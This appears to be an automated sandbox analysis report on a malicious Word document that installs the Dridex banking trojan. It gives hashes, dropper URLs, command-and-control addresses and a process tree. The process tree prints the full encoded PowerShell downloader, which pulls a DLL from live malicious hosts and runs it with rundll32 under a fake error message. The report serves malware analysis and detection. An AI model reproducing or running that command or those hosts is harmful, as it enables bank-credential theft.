Overview

overview

10

Static

static

8

Informatio...53.doc

windows7_x64

10

Informatio...53.doc

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    20-11-2020 05:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Information-822908953.doc

  • Size

    117KB

  • MD5

    59b5d3179a962efa890e2df17aaf31d1

  • SHA1

    52b0231b64030049d61096bd2bb872ab89ac7e55

  • SHA256

    d2bc5e480daba7368064d7de34a53077e968dafc86084c87191c5c3d2fb7c444

  • SHA512

    4bbb5fbd99e9ae35f690dcc710d8ba168cf5361fd4857f5b9b341185834a9d1e19f641a47cf6ea18366d6f2d13e1ce457b53c12f9264b9da5fe38d02b1a29432

Score
10/10
dridex10555botnetcryptonediscoveryevasionloaderpackertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://veva.vn/zntk070.png
exe.dropper

http://hardmed-eg.com/o76nxa.png
exe.dropper

http://islamabout.com/ga140h7l.zip
exe.dropper

http://ferretec.com/c2eivsswg.rar
exe.dropper

http://rasadbar.ir/t6yswb.pdf
exe.dropper

http://seniorcarecompass.inifaresworkshops.com/vr6ebzold.png

Extracted

Family

dridex

Botnet

10555

C2

162.241.44.26:9443

192.232.229.53:4443

77.220.64.34:443

193.90.12.121:3098
rc4.plain
rc4.plain

Signatures

  • Dridex

    Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.

    botnetdridex
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • CryptOne packer 5 IoCs

    Detects CryptOne packer defined in NCC blogpost.

    cryptonepacker
  • Dridex Loader 1 IoCs

    Detects Dridex both x86 and x64 loader in memory.

    botnetloader
  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-822908953.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1276
    • C:\Windows\system32\cmd.exe
      cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\msg.exe
        msg Admin /v Word experienced an error trying to open the file.
        2⤵
          PID:1680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
          2⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:584
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 0
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1604
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 0
              4⤵
              • Blocklisted process makes network request
              • Loads dropped DLL
              • Checks whether UAC is enabled
              PID:2024

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll
        MD5

        429d63af6c900c0c2f7c2b82dec86a7e

        SHA1

        6f3c788b9223c6d99d34235c86bcc00056a2c73f

        SHA256

        b6c782d71a48aaf6b23d0c9f2f6490c008d8f3f87d43b3c1a6f18343ddc63874

        SHA512

        0f1cc54093f788e6549cc0149f2d0d3c52e82b76222a4563c995c3bc8c207f4a2583f585b4f0ae522c85a5994a9953238c094e589cfcab3f4688ac9dd244ff4c

        Download Submit
      • \Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll
        MD5

        429d63af6c900c0c2f7c2b82dec86a7e

        SHA1

        6f3c788b9223c6d99d34235c86bcc00056a2c73f

        SHA256

        b6c782d71a48aaf6b23d0c9f2f6490c008d8f3f87d43b3c1a6f18343ddc63874

        SHA512

        0f1cc54093f788e6549cc0149f2d0d3c52e82b76222a4563c995c3bc8c207f4a2583f585b4f0ae522c85a5994a9953238c094e589cfcab3f4688ac9dd244ff4c

        Download Submit
      • \Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll
        MD5

        429d63af6c900c0c2f7c2b82dec86a7e

        SHA1

        6f3c788b9223c6d99d34235c86bcc00056a2c73f

        SHA256

        b6c782d71a48aaf6b23d0c9f2f6490c008d8f3f87d43b3c1a6f18343ddc63874

        SHA512

        0f1cc54093f788e6549cc0149f2d0d3c52e82b76222a4563c995c3bc8c207f4a2583f585b4f0ae522c85a5994a9953238c094e589cfcab3f4688ac9dd244ff4c

        Download Submit
      • \Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll
        MD5

        429d63af6c900c0c2f7c2b82dec86a7e

        SHA1

        6f3c788b9223c6d99d34235c86bcc00056a2c73f

        SHA256

        b6c782d71a48aaf6b23d0c9f2f6490c008d8f3f87d43b3c1a6f18343ddc63874

        SHA512

        0f1cc54093f788e6549cc0149f2d0d3c52e82b76222a4563c995c3bc8c207f4a2583f585b4f0ae522c85a5994a9953238c094e589cfcab3f4688ac9dd244ff4c

        Download Submit
      • \Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll
        MD5

        429d63af6c900c0c2f7c2b82dec86a7e

        SHA1

        6f3c788b9223c6d99d34235c86bcc00056a2c73f

        SHA256

        b6c782d71a48aaf6b23d0c9f2f6490c008d8f3f87d43b3c1a6f18343ddc63874

        SHA512

        0f1cc54093f788e6549cc0149f2d0d3c52e82b76222a4563c995c3bc8c207f4a2583f585b4f0ae522c85a5994a9953238c094e589cfcab3f4688ac9dd244ff4c

        Download Submit
      • memory/108-21-0x000007FEF6930000-0x000007FEF6BAA000-memory.dmp
        Filesize

        2.5MB

        Download
      • memory/584-10-0x000000001C430000-0x000000001C431000-memory.dmp
        Filesize

        4KB

        Download
      • memory/584-6-0x0000000001F60000-0x0000000001F61000-memory.dmp
        Filesize

        4KB

        Download
